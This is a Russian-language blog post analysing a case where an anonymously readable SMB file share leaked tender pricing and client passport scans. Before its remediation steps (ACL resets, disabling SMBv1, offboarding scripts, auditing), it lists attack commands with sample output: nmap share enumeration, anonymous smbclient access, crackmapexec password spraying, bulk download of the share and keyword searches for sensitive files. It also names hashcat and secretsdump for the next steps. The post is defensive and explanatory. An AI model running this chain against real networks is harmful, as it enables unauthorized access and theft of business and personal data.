CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как одна общая сетевая папка слила тендер на 4,1 млн рублей: разбор с командами и векторами атаки

Технический разбор реального кейса: почему открытая шара «для удобства» — это не мелкая недоработка ИТ, а полноценная точка входа, которую можно просканировать, вскрыть и монетизировать за один вечер.

Разбор CIOlogia

История простая до банальности: оптовый поставщик оборудования, около 60 сотрудников, обычная общая папка на файловом сервере, куда «временно» скидывали всё подряд — от прайсов до сканов паспортов клиентов на рассрочку. За три года список тех, кто мог туда зайти, никто не пересматривал. Итог — слитый тендер на 4,1 млн рублей и потенциальный штраф за утечку персональных данных сверху. Разберём этот случай не как менеджерскую историю про «наведение порядка», а как техническую цепочку: что именно позволяло такую атаку провести, какими инструментами это делается на практике и что закрывает дыру по-настоящему, а не косметически.

Что представляла собой дыра технически

«Общая папка на сервере» в 9 случаях из 10 — это SMB-шара на Windows Server или NAS, где на уровне NTFS стоит группа Everyone: Full Control или Authenticated Users: Modify, а сама шара расшарена без ограничения по группам безопасности. Добавьте сюда типичные для малого и среднего бизнеса особенности:

  • гостевой доступ (Guest access) не отключён на файловом сервере;
  • учётные записи уволенных сотрудников не блокируются, а просто «забываются» в Active Directory или локальной группе пользователей;
  • подрядчики получают доступ через общий логин/пароль, который потом никто не меняет;
  • SMBv1 всё ещё включён «для совместимости со старым принтером», хотя официально устарел ещё с MS17-010 (EternalBlue, CVE-2017-0144).

В такой конфигурации файловый сервер не требует эксплойта нулевого дня — он открыт по дизайну. Задача атакующего не «взломать», а «обнаружить и прочитать».

Как это эксплуатируется — по шагам

Ниже — типичная последовательность действий при аудите (или атаке) такой инфраструктуры, если атакующий получил доступ к сети хотя бы одним слабым звеном: Wi-Fi для гостей без изоляции, забытая VPN-учётка подрядчика или просто физическое подключение к розетке в переговорке.

1. Разведка сети и поиск файловых сервисов

nmap -p 139,445 --open -T4 192.168.10.0/24 -oG smb_hosts.txt

Nmap scan report for 192.168.10.15
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Дальше — детализация версии и списка шар без единой учётной записи:

nmap -p 445 --script smb-os-discovery,smb-enum-shares,smb-protocols 192.168.10.15

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but reachable]
|     2.02
|     3.1.1
| smb-enum-shares:
|   \\192.168.10.15\OBMEN:
|     Type: STYPE_DISKTREE
|     Comment: for обмен файлами
|     Anonymous access: READ/WRITE

Строка Anonymous access: READ/WRITE — это и есть диагноз. Дальше можно даже не искать креды.

2. Подключение и перечисление содержимого

smbclient -N -L //192.168.10.15

        Sharename       Type      Comment
        ---------       ----      -------
        OBMEN           Disk      for обмен файлами
        IPC$            IPC       Remote IPC

smbclient -N //192.168.10.15/OBMEN
smb: \> dir
  Тендер_расчет_себестоимости.xlsx    A   142336  Пт мар 14 09:12:01 2025
  Паспорта_клиентов_рассрочка         D        0  Ср янв 22 11:03:44 2025
  КП_архив                            D        0  Вт фев 04 15:47:19 2024

При заблокированном анонимном доступе задача сводится к перебору учётной записи любого из «мёртвых» аккаунтов — уволенного менеджера, бывшего подрядчика, забытого практиканта. Такие пароли почти всегда простые и не менялись годами:

crackmapexec smb 192.168.10.0/24 -u users.txt -p passwords.txt --shares --continue-on-success

SMB  192.168.10.15  445  FILESRV  [+] DOMAIN\ivanov_m:Ivanov2022 (Pwn3d!)
SMB  192.168.10.15  445  FILESRV  [+] OBMEN READ,WRITE

Учётка уволенного «ivanov_m» с паролем, который никто не отозвал, — классика. Дополнительно можно прогнать enum4linux -a 192.168.10.15, чтобы вытащить список пользователей домена и политику паролей — это подскажет, кого перебирать в первую очередь и с какими масками.

3. Массовая выгрузка

smbclient -N //192.168.10.15/OBMEN -c "prompt OFF; recurse ON; mget *"

Или через смонтированную шару, если удобнее работать локально:

mount -t cifs //192.168.10.15/OBMEN /mnt/obmen -o username=ivanov_m,password=Ivanov2022,domain=DOMAIN
rsync -av /mnt/obmen/ ./exfil/

Дальнейший поиск чувствительных данных в выгрузке автоматизируется:

grep -ril "себестоимост\|паспорт\|расчет цены" ./exfil/ | tee sensitive_files.txt

Именно так в реальном кейсе всплыл файл с расчётом себестоимости конкретного тендера — обычный поиск по ключевым словам среди тысяч файлов, лежавших в открытом доступе три года.

Что и почему сработало бы дальше

Утечка одного файла с расчётом себестоимости — это только первый слой. Дальше атака (или недобросовестный бывший сотрудник) закономерно развивается:

  • Использование ценовой информации напрямую — конкурент выставляет предложение на 2-3% ниже, зная точную структуру себестоимости, как это и произошло в кейсе.
  • Кража учётных данных из файлов — в общих папках почти всегда находятся забытые конфиги, .bak-файлы 1С, экспортированные пароли в Excel «на всякий случай». Извлечённые хэши прогоняются через hashcat -m 1000 hashes.txt rockyou.txt или подбираются по корпоративным паттернам — и это уже путь в 1С, бухгалтерию, банк-клиент.
  • Использование персональных данных клиентов — сканы паспортов из папки «Паспорта_клиентов_рассрочка» — готовый материал для оформления фиктивных микрозаймов или для целевого фишинга под видом банка/приставов.
  • Горизонтальное перемещение — если в шаре найден скрипт с встроенным сервисным паролем (частая практика для «автоматизации» бэкапов), это прямой путь к контроллеру домена: инструменты вроде BloodHound и secretsdump.py из набора Impacket превращают один слитый пароль в карту всей инфраструктуры.

Ключевой момент: ни один из этих шагов не требует эксплойта. Всё строится на избыточных правах и отсутствии процесса отзыва доступа — то есть на организационной дыре, которую техническими средствами закрыть невозможно без изменения процесса.

Как закрыть — по существу, а не «для галочки»

1. Аудит и пересборка прав на уровне NTFS/AD

# Windows Server, PowerShell: выгрузка эффективных прав на шару
Get-Acl "\\FILESRV\OBMEN" | Format-List
icacls "D:\Shares\OBMEN" /reset
icacls "D:\Shares\OBMEN" /grant "DOMAIN\Sales":(OI)(CI)M
icacls "D:\Shares\OBMEN" /remove "Everyone" "Authenticated Users"

Разделение по отделам должно жить не на честном слове, а в группах безопасности AD: своя группа под продажи, своя под бухгалтерию, доступ выдаётся через членство в группе, а не персонально.

2. Отключение устаревших протоколов и анонимного доступа

# Отключить SMBv1 на сервере
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

# Запретить анонимный доступ к шарам
Set-SmbServerConfiguration -RestrictNullSessAccess $true -Confirm:$false

3. Автоматизация деактивации учёток при увольнении

# Скрипт для HR-триггера: блокировка учётки в день увольнения
Disable-ADAccount -Identity ivanov_m
Get-ADPrincipalGroupMembership ivanov_m | Remove-ADGroupMember -Members ivanov_m -Confirm:$false

Правило простое: отдел кадров и ИТ работают по единому чек-листу увольнения, а не по памяти. Доступ закрывается день в день, а не «когда вспомнят», — это единственная мера, которая реально убирает 90% подобных инцидентов.

4. Регулярный аудит доступа и мониторинг

# Периодическая проверка списка пользователей с доступом к шаре
Get-SmbShareAccess -Name "OBMEN"

# Включение аудита доступа к файлам через групповую политику
auditpol /set /subcategory:"File System" /success:enable /failure:enable

Дополнительно стоит настроить уведомления о новых подключениях (как это было сделано в кейсе через мессенджер) и раз в квартал сверять список доступов со штатным расписанием и реестром действующих договоров с подрядчиками — вручную или через недорогие DLP/аудит-инструменты вроде Netwrix Auditor.

5. Защита персональных данных отдельным контуром

Сканы паспортов и другие персональные данные клиентов не должны лежать в общей рабочей папке в принципе — для них нужен отдельный ресурс с ограниченным списком доступа, шифрованием на уровне диска (BitLocker/EFS) и логированием каждого обращения, поскольку это прямая зона ответственности по 152-ФЗ.

Стоимость всех этих мер — часы работы ИТ-специалиста и отсутствие затрат на лицензии, если используется штатный функционал Windows Server и Active Directory. Стоимость их отсутствия в данном случае составила 4,1 млн рублей за один тендер — и это без учёта риска штрафа за утечку персональных данных, который считается отдельно и может оказаться сопоставимым.